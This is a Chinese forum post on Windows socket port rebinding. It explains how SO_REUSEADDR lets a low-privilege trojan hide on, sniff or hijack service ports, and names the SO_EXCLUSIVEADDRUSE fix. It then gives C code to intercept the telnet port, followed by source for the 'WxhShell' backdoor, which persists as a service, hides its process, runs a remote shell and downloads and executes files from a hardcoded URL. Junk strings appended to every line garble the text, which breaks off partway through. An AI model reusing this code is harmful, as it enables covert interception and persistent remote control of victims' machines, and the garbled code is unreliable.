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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K4o']{:U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L,!\PV|  
Dm$SW<!l|  
  saddr.sin_family = AF_INET; #DARZhU)  
m%UF{I,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^6Zx-Mf\  
wp'[AR}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lHPnAaue@  
yE.st9m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nf[KD,f  
=T#hd7O`V  
  这意味着什么?意味着可以进行如下的攻击: K4H27SH  
C~?p85  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s];0-65)  
4sX? O4p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -m[ tYp,q  
xA<-'8ST  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kM@e_YtpY  
bxO[y<|XL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :'xZF2  
{<a)+S.6U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sva-Sd8  
[z"oi'"fQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )2 q r^)  
4F6I7lu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~C3J-z<  
&x=_n'  
  #include E2z=U  
  #include F>^KXq:Z  
  #include X\w["! B  
  #include    cvf?ID84  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j?T>S]xOX  
  int main() BHS@whj  
  { vl6|i)D  
  WORD wVersionRequested; }}u`*&,g  
  DWORD ret; &;W K=#  
  WSADATA wsaData; lxbC 7?O  
  BOOL val; M+^ NF\  
  SOCKADDR_IN saddr; kGC*\?<LmR  
  SOCKADDR_IN scaddr; ^CM@VmPp  
  int err; M,yxPHlN  
  SOCKET s; I,05'edCQ  
  SOCKET sc; +uj;00 D  
  int caddsize; IP-M)_I  
  HANDLE mt; dd;rne v+  
  DWORD tid;   t;0]d7ey'  
  wVersionRequested = MAKEWORD( 2, 2 ); 1|s` z  
  err = WSAStartup( wVersionRequested, &wsaData ); 0v6Z 4Ahpo  
  if ( err != 0 ) { ;8 *"c  
  printf("error!WSAStartup failed!\n"); ;CoD5F!  
  return -1; __1Hx?f  
  } \TnK<83  
  saddr.sin_family = AF_INET; ~|"uuA1/#O  
   S6C DK:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MtgY `p  
ydRS\l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ! ,{N>{I  
  saddr.sin_port = htons(23); &j/,8 Z*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /J Y6S  
  { 1}SON4U  
  printf("error!socket failed!\n"); O'xp"e,  
  return -1; Os]. IL$  
  } 44w "U%+  
  val = TRUE; 3q@H8%jcw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Xr4k]'Mg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s jaaZx1  
  { <lU(9) L;&  
  printf("error!setsockopt failed!\n"); t$p%UyVE  
  return -1; LaZ @4/z!  
  } 8Fbt >-N<\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S$P=;#r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;9-J=@KY4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0,):;O I  
jq_4x[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sFvYCRw /  
  { n=0^8QQ  
  ret=GetLastError(); [9}<N2,9z  
  printf("error!bind failed!\n"); ,J<+Wxz  
  return -1; w@YPG{"j  
  } 3h%Nd &_9  
  listen(s,2); /QCg E ~  
  while(1) YguW2R=6]  
  { FPZ@6  
  caddsize = sizeof(scaddr); cRCji^,KJ  
  //接受连接请求 "(~fl<;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |5q,%9_  
  if(sc!=INVALID_SOCKET) D vN0h(?  
  { m]'+Eye ]r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ep`8LQf  
  if(mt==NULL) @Jlsx0i}}  
  { _ 5b~3K/V  
  printf("Thread Creat Failed!\n"); $]W*;MTI}  
  break; &uV|Ie8@q  
  } J-G)mvkv  
  } cg_tJ^vrY  
  CloseHandle(mt); Qw_> l}k/  
  } ;NAKU  
  closesocket(s); o/vD]Fs  
  WSACleanup(); zW hzU|=8  
  return 0; aW;)-0+  
  }   Uxe]T  
  DWORD WINAPI ClientThread(LPVOID lpParam) . S;o#Zw*R  
  { t:,lz8Y~  
  SOCKET ss = (SOCKET)lpParam; C.H(aX)7  
  SOCKET sc; *+2BZ ZwT  
  unsigned char buf[4096]; Z^J)]UL/  
  SOCKADDR_IN saddr; d7x6r3J$  
  long num; [iyhrc:@  
  DWORD val; xk,1 D  
  DWORD ret; !:uh? RW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bGwj` lue  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B4c;/W-  
  saddr.sin_family = AF_INET; 5nmE*(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;2MdvHhz1  
  saddr.sin_port = htons(23); OMab!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V,\}|_GY  
  { .#K\u![@N  
  printf("error!socket failed!\n"); 4 'vjU6gW  
  return -1;  j~cG#t]  
  } gF;C% }  
  val = 100; Ly1t'{"7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bIk4?S  
  { M?n}{0E4  
  ret = GetLastError(); mM+^v[=  
  return -1; b"w2 2%  
  } B < HD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uMZ<i}  
  { qA25P<  
  ret = GetLastError(); - s{&_]A~  
  return -1; NjdDImz.;s  
  } hsQ*ozv[)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l~@ -oE  
  { A9Pq}3U  
  printf("error!socket connect failed!\n"); K!-iDaVI  
  closesocket(sc); z_y@4B6>}  
  closesocket(ss); 'k<~HQr  
  return -1; Z%SDN"+'g  
  } ?fpI,WFu  
  while(1) O31.\ZR2  
  { )o&}i3~Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [W dxMU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c.>OpsF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _PP-'^ U  
  num = recv(ss,buf,4096,0); 8p/&_<mnW  
  if(num>0) hsI9{j]f  
  send(sc,buf,num,0); 5fp&!HnG  
  else if(num==0) =#%Vs>G  
  break; =jU#0FAO  
  num = recv(sc,buf,4096,0); )M56vyo  
  if(num>0) aLQ]2m  
  send(ss,buf,num,0); sE^= ]N  
  else if(num==0) 3YEw7GIO-  
  break; y99|V39'  
  } Xcg+ SOB  
  closesocket(ss); xp\6,Jyh  
  closesocket(sc); h<!!r  
  return 0 ; !\\1#:*_W  
  } 3Z%jx#  
WxtB:7J  
K#y CZ2  
========================================================== /BM{tH  
WOYN% 0#  
下边附上一个代码,,WXhSHELL P4s,N|bs`  
%6:"tuA  
========================================================== H1vToIP%  
1{h,LR  
#include "stdafx.h" }. V!|R,  
4X>=UO``L  
#include <stdio.h> LcHe5Bv%  
#include <string.h> Cg^1(dBd[9  
#include <windows.h> dQNW1-s  
#include <winsock2.h> 1%N[DA^<\  
#include <winsvc.h> jF{\=&fU  
#include <urlmon.h> QG XR<Y  
-}H EV#ev  
#pragma comment (lib, "Ws2_32.lib") =~k#<q1^  
#pragma comment (lib, "urlmon.lib") TO] cZZ<  
;\Pq  
#define MAX_USER   100 // 最大客户端连接数 Z. xOO|  
#define BUF_SOCK   200 // sock buffer xK_0@6  
#define KEY_BUFF   255 // 输入 buffer  .V l  
<bh!wf6;  
#define REBOOT     0   // 重启 :8lqo%5  
#define SHUTDOWN   1   // 关机 R^JtWjJR  
QY1|:(  
#define DEF_PORT   5000 // 监听端口 Dq*O8*#*  
]%h|ox0  
#define REG_LEN     16   // 注册表键长度 LJ*W&y(2>Q  
#define SVC_LEN     80   // NT服务名长度 uCf _O~  
*p^*>~i9)  
// 从dll定义API K|rG&#1J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7x(z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N8m3 Wy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;k,#o!>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IvB)d}p  
5VE9DTE  
// wxhshell配置信息 )Tf,G[z&ge  
struct WSCFG { 7KV0g1GQ  
  int ws_port;         // 监听端口 VyOpPIP  
  char ws_passstr[REG_LEN]; // 口令 tI+P&L"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5?Rzyfwk|  
  char ws_regname[REG_LEN]; // 注册表键名 nSbcq>3  
  char ws_svcname[REG_LEN]; // 服务名 " VSma  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JP6+h>ft  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e/<'HM T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "pQ) 5/e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [d6TwKv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `& ]H`KNa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o[ 4e_ @E  
5_Oxl6#  
}; `"eIzLc%o6  
|@pn=wW  
// default Wxhshell configuration x:`"tJa  
struct WSCFG wscfg={DEF_PORT, %xP'*EaM?  
    "xuhuanlingzhe", SfGl*2  
    1, ?w>-ya  
    "Wxhshell", /jd.<r=_I  
    "Wxhshell", 4cJka~  
            "WxhShell Service", 'a=QCO 0  
    "Wrsky Windows CmdShell Service", 3;wOA4ur  
    "Please Input Your Password: ", bA(-7l?  
  1, @[hD;xO  
  "http://www.wrsky.com/wxhshell.exe", ~L=? F  
  "Wxhshell.exe" ge$p/  
    }; lQf38u||  
~_ |ZUb  
// 消息定义模块 crr#tad.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .=/TT|eMS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >VB*Xt\C&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !2]'S=Y  
char *msg_ws_ext="\n\rExit."; })5I/   
char *msg_ws_end="\n\rQuit."; L~&r.81  
char *msg_ws_boot="\n\rReboot..."; h0zv @,u  
char *msg_ws_poff="\n\rShutdown..."; &&`-A6`p  
char *msg_ws_down="\n\rSave to "; unAu8k^  
0GMov]W?i  
char *msg_ws_err="\n\rErr!"; vQ1#Zg y  
char *msg_ws_ok="\n\rOK!"; > ZKHjw  
V})b.\"F  
char ExeFile[MAX_PATH]; `fq#W#Pu  
int nUser = 0; '\/|K  
HANDLE handles[MAX_USER]; YG#.L}X@C  
int OsIsNt; 'zfj`aqc  
*n2le7  
SERVICE_STATUS       serviceStatus; 5HW'nhE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t4r%EP|Zt  
U$=#yg2 :  
// 函数声明 Ec l/2  
int Install(void); LAU\.d  
int Uninstall(void); 1t<  nm)  
int DownloadFile(char *sURL, SOCKET wsh); |)b:@q3k+n  
int Boot(int flag); lD@`xq.M;  
void HideProc(void); HkdBPMs79  
int GetOsVer(void); ko`.nSZ-k  
int Wxhshell(SOCKET wsl); 'XW9+jj)/  
void TalkWithClient(void *cs); e>!=)6[*  
int CmdShell(SOCKET sock); |,WP)  
int StartFromService(void); ,*d<hBGbh  
int StartWxhshell(LPSTR lpCmdLine); {*AYhZ  
! ^TCe8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tY!GJusd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bTW# f$q:4  
RKO}  W#?  
// 数据结构和表定义 _REAzxe S  
SERVICE_TABLE_ENTRY DispatchTable[] = h0;R*c  
{ ja+PVf  
{wscfg.ws_svcname, NTServiceMain}, ]r(s02  
{NULL, NULL} uxsi+vkI  
}; L_Lhmtm}m  
@agxu-Y  
// 自我安装 KU*XRZu)  
int Install(void) Q;y)6+VU4  
{ 3u~V&jl  
  char svExeFile[MAX_PATH]; %v, a3^Qu  
  HKEY key; $`6Q\=*R/  
  strcpy(svExeFile,ExeFile); cOvdC4  
s1%th"e [  
// 如果是win9x系统,修改注册表设为自启动 O("13cU  
if(!OsIsNt) { 8>a%L?BY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 1ndr@*|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c^x5 E`{  
  RegCloseKey(key); @"O|[%7e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gfly?)VnF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c, FZ{O@  
  RegCloseKey(key); 0artR~*}  
  return 0; g& ?{^4t]  
    } l$g \t]  
  } =a!_H=+4  
} NM0s*s42  
else { cE+Y#jB  
IT:8k5(L5j  
// 如果是NT以上系统,安装为系统服务 BL1d= %2 R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;U]Ym48  
if (schSCManager!=0) *dPG[ }  
{ ,qT+Vqpr{  
  SC_HANDLE schService = CreateService f yhBfA:u  
  ( K2!GpGZu  
  schSCManager, qw6i|JM%  
  wscfg.ws_svcname, _DLELcH Y  
  wscfg.ws_svcdisp, [K""6D  
  SERVICE_ALL_ACCESS, pI1IDu*_Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s |!lw  
  SERVICE_AUTO_START, 1Ms_2  
  SERVICE_ERROR_NORMAL, 8M8Odz\3 q  
  svExeFile, *IWWD\U  
  NULL, 1w'W)x  
  NULL, FqXE6^  
  NULL, W=\45BJ  
  NULL, T$*#q('1"}  
  NULL A&D<}y/%  
  ); C zb: nyRj  
  if (schService!=0) V2 >+s y  
  { IH3Nkpsg  
  CloseServiceHandle(schService); BD?u|Fd,i:  
  CloseServiceHandle(schSCManager); ky@ZEp=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =[nuesP'  
  strcat(svExeFile,wscfg.ws_svcname); e3,@prr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n<e1=L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mKuY=#RP  
  RegCloseKey(key); r2T$ ;m.  
  return 0; vq:?a  
    } W?<<al*  
  } -1}&\=8M  
  CloseServiceHandle(schSCManager); +,T z +!  
} \HQw$E/p  
} B ,U|V  
U<I]_]  
return 1; RwUosh\W  
} TW-^C ;  
N^4CA@'{  
// 自我卸载 xiOAj"}~  
int Uninstall(void) c'SjH".[  
{ Q PrP3DK  
  HKEY key; I+W:}}"j  
k|`Qk!tr  
if(!OsIsNt) { eL88lV]I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cy0j>-z  
  RegDeleteValue(key,wscfg.ws_regname); VWrb`p@  
  RegCloseKey(key); mv>-XJ+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qW`DCZu  
  RegDeleteValue(key,wscfg.ws_regname); $ D.*r*c6  
  RegCloseKey(key); u4|) A4n  
  return 0; ^j7>Ul,  
  } *JF7 B  
} `Gh J)WA<  
} pU1miA '  
else { ;e6L@)dp9  
>!bw8lVV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Lh nl3  
if (schSCManager!=0) 6'Q*SO;1gh  
{ Jk;dtLL}4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V-dyeb  
  if (schService!=0) _6-N+FI  
  { HT7I~]W  
  if(DeleteService(schService)!=0) { -f["1-A  
  CloseServiceHandle(schService); )zkr[;j~`  
  CloseServiceHandle(schSCManager); r-o+NV  
  return 0; @cc}[Uw4B  
  } lJdrrR)wg  
  CloseServiceHandle(schService); Q7-'5s   
  } iLQ;`/j  
  CloseServiceHandle(schSCManager); l~mj>$  
} Zi{vEI]  
} `6<Qb=  
<Vl`EfA(  
return 1; <l5s[  
} Cd|rDa  
80K"u[  
// 从指定url下载文件 eW;c 3<  
int DownloadFile(char *sURL, SOCKET wsh) pgPm0+N  
{ E+cx 8(   
  HRESULT hr; 8>`8p0I$+  
char seps[]= "/"; Oj '^Ww m  
char *token; $B`ETI9g-N  
char *file; Vg}+w Nt5  
char myURL[MAX_PATH]; cN`P5xP'  
char myFILE[MAX_PATH]; VFq7nV/O  
IV~5Y{(l  
strcpy(myURL,sURL); +V;d^&S  
  token=strtok(myURL,seps); }=A+W2D  
  while(token!=NULL) .|@2Uf  
  { duc\/S'  
    file=token; q);oO\<  
  token=strtok(NULL,seps); 0{/'[o7  
  } Wr`<bLq1vs  
`+i/rc1.  
GetCurrentDirectory(MAX_PATH,myFILE); : -$TD('F  
strcat(myFILE, "\\"); sl`?9-_[  
strcat(myFILE, file); g){gF(   
  send(wsh,myFILE,strlen(myFILE),0); @(IA:6GN  
send(wsh,"...",3,0); qv[w 1;U"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GJ:oUi  
  if(hr==S_OK) 2V*;=cv~z  
return 0; MAQ-'s@  
else Y$_^f*sFn  
return 1; ,(f({l[J}  
'p)DJUwt  
} ~5>TMIDiuR  
bnN&E?{hF1  
// 系统电源模块 W9]0X  
int Boot(int flag) *0m|`- T  
{ 3;88a!AA!  
  HANDLE hToken; P MI?PC[;  
  TOKEN_PRIVILEGES tkp; :s1.TQ;Y(  
eQ,VK`7X  
  if(OsIsNt) { $."F z x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #<G:&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,{_56j^d,  
    tkp.PrivilegeCount = 1; -`$J& YU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }!"Cvu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (dh9aR_a  
if(flag==REBOOT) { zb s7G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VVfTFi<  
  return 0; 9%2h e)Yqc  
} 92~$Qa\S!  
else { (a"/cH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sGE %zCB  
  return 0; OW#G{#.6R  
} ";^_[n  
  } 7Rd(,eWE@  
  else { qDgy7kkQ  
if(flag==REBOOT) { 5Rp mR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >8&fFq  
  return 0; {kvxz  
} }?MbU6"  
else { +BE_t(%p"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n4.\}%=z  
  return 0; k%iwt]i%  
} "whs?^/  
} r.c:QY$  
;p87^:  
return 1; x6ayFq=  
} 5Q:%f  
?)Je%H  
// win9x进程隐藏模块 7>F[7_  
void HideProc(void) .3#Xjhebvu  
{ `aA)n;{/2u  
"~KTLf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >_$_fB  
  if ( hKernel != NULL ) - Rx;"J.H  
  { ^}`24~|y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B~b ='jN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uMRzUK`QK  
    FreeLibrary(hKernel); ,W;|K 5  
  } Bn.5ivF3  
6$l?D^{  
return; 24wr=5p]Q  
} K[x=knFO  
;wTc_i  
// 获取操作系统版本 8idIJm%y  
int GetOsVer(void) @LSX@V   
{ u|k_OUTq  
  OSVERSIONINFO winfo; f{u S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (W}DMcuSd  
  GetVersionEx(&winfo); GL,[32~C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e [6F }."c  
  return 1; Ggy?5N7P  
  else N^AlhR^  
  return 0; h")7kjM  
} \7%wJIeyx  
HVzkS|^F  
// 客户端句柄模块 ;=1[D  
int Wxhshell(SOCKET wsl) 4UK>Vzn  
{ hjhZ":I.  
  SOCKET wsh; t_Rj1U  
  struct sockaddr_in client; GkI{7GD:z  
  DWORD myID; F`,Hf Cb\  
=#A/d `2 b  
  while(nUser<MAX_USER) <9T,J"y  
{ b `bg`}x  
  int nSize=sizeof(client); +;=>&XR0m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /c6]DQ<?  
  if(wsh==INVALID_SOCKET) return 1; o)$eIu}Wg  
wA6E7vi'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -B(p8YH  
if(handles[nUser]==0) 1QnaZhu'  
  closesocket(wsh); ):A.A,skf  
else 0fK#:6  
  nUser++; n xR\tBv  
  } +q+JOS]L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F&B E+b/#  
m=Mk@xfQ#  
  return 0; y=jZ8+M   
} RD;A  
O^ 5C  
// 关闭 socket Om_ "X6  
void CloseIt(SOCKET wsh) hh2&FI  
{ ]z| 2  
closesocket(wsh); MXjN ./  
nUser--; K@/dQV%Z  
ExitThread(0); )-Z*/uF^  
} _H-Fm$Q  
PO^#G @  
// 客户端请求句柄 (ak&>pk;  
void TalkWithClient(void *cs) Wg<o%6`  
{ <I0om(P  
E*kZGHA  
  SOCKET wsh=(SOCKET)cs; C~'.3Q6  
  char pwd[SVC_LEN]; ?^LG>GgV  
  char cmd[KEY_BUFF]; d`% 7Pk  
char chr[1]; b! teSf  
int i,j; .[1@wW&L  
*P&lAyt6  
  while (nUser < MAX_USER) { g>`D!n::n  
2=%]Ax"R  
if(wscfg.ws_passstr) { f hNJB0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !89hO4 0r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gvL*]U7  
  //ZeroMemory(pwd,KEY_BUFF); S,f#g?V  
      i=0; woF {O)~X  
  while(i<SVC_LEN) { )J2UNIgN  
~=<uYv?0s  
  // 设置超时 Cv4nl7A'  
  fd_set FdRead; !lA~;F  
  struct timeval TimeOut; *y$CDv  
  FD_ZERO(&FdRead); B]mMwqM#  
  FD_SET(wsh,&FdRead); 3C'6i  
  TimeOut.tv_sec=8; $vn)(zn+  
  TimeOut.tv_usec=0; ;ZMIYFXRqh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P{Q$(rOe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *i!t&s  
B|{E[]iK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5KIhk`S  
  pwd=chr[0]; yS3or(K  
  if(chr[0]==0xd || chr[0]==0xa) { #\O'*mz  
  pwd=0; sE!g!ht  
  break; u yE#EnsH  
  } q-,`\ TS  
  i++; Nus]]Iy-g  
    } "v0SvV<7  
hW6Ksn,*  
  // 如果是非法用户,关闭 socket c `.BN(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 77wod}h!:  
} U!E}(9 tb  
2Uu!_n}tNF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QjYw^[o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XN{zl*`  
tCA0H\';  
while(1) { rEbH< |  
mHJGpJ=a-  
  ZeroMemory(cmd,KEY_BUFF); 'MNCJ;A@V  
kpNp}b8']  
      // 自动支持客户端 telnet标准   SwaPRAF  
  j=0; 'q RQO(9&m  
  while(j<KEY_BUFF) { :h!'\9   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >;VZB/ d  
  cmd[j]=chr[0]; m'k>U4  
  if(chr[0]==0xa || chr[0]==0xd) { uyWw3>  
  cmd[j]=0; 9}tl @  
  break; E}<i?;  
  } ~&+a.@T  
  j++; eZ0-O /_i  
    } EB6X Yr  
7@m+ y  
  // 下载文件 }OTJ{eG  
  if(strstr(cmd,"http://")) { ~k}O"{ y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SUW=-M  
  if(DownloadFile(cmd,wsh)) x3.,zfWs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j *;.>akY7  
  else \~t!M~H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TmM~uc7mj  
  } %az6\"n  
  else { H$pgzNL  
?IoA;GBg  
    switch(cmd[0]) { mZuLwd$0  
  ,WM-%2z^4I  
  // 帮助 lvNi/jk  
  case '?': { $xF[j9nM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _N>#/v)Yi  
    break; @ `mke4>_  
  } >hV 2p/D  
  // 安装 VWzuV&;P  
  case 'i': { b):aqRwP  
    if(Install()) qZv@ULluc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kltqe5  
    else Wt=@6w&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v"o@q2f_  
    break; 3preBs#i  
    } Z)@[N 6\?  
  // 卸载 >ffC?5+  
  case 'r': { 9]1LwX!M2  
    if(Uninstall()) * X}2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  C ?'s  
    else s<aG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |`V=hqe{  
    break;  !$!%era`  
    } iM6(bmc.  
  // 显示 wxhshell 所在路径 b*{UO  
  case 'p': { $j v"$0Fc  
    char svExeFile[MAX_PATH]; %Nob B  
    strcpy(svExeFile,"\n\r"); WN#2<XjG  
      strcat(svExeFile,ExeFile); ya,-Lt  
        send(wsh,svExeFile,strlen(svExeFile),0); h^''ue"  
    break; W )Ps2  
    } i&DUlmt)f  
  // 重启 J+N -+,,  
  case 'b': { N|ZGc{?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?8U]UM6Tu4  
    if(Boot(REBOOT)) OjqT5<U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EQ|Wke  
    else { L .}sN.  
    closesocket(wsh); "*(a2k3J  
    ExitThread(0); ~ t N/  
    } BglbQ'6p  
    break; {y%@1q%"  
    } 5@I/+D  
  // 关机 "}H2dn2n  
  case 'd': { gFfKK`)}D'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ Z5160  
